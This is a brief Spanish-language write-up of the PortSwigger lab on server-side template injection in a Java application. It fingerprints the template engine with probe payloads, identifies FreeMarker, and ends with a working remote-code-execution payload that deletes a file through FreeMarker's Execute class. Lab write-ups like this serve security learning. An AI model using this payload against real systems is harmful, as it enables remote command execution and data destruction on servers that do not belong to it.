3 - Server-side template injection using documentation
#portswigger #ssti #java #rce #freemarker
Tenemos que detectar ante que sistema de plantillas estamos
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection
Usamos la wordlist de PayloadAllTheThings para detectar que sistema de plantillas se está usando, lo pasamos al intruder :
El payload #{3*3} funciona, podría ser Slim o Haml (ruby) El payload ${7*7} también.
Es freemarker :
java
${"freemarker.template.utility.Execute"?new()("rm+/home/carlos/morale.txt")}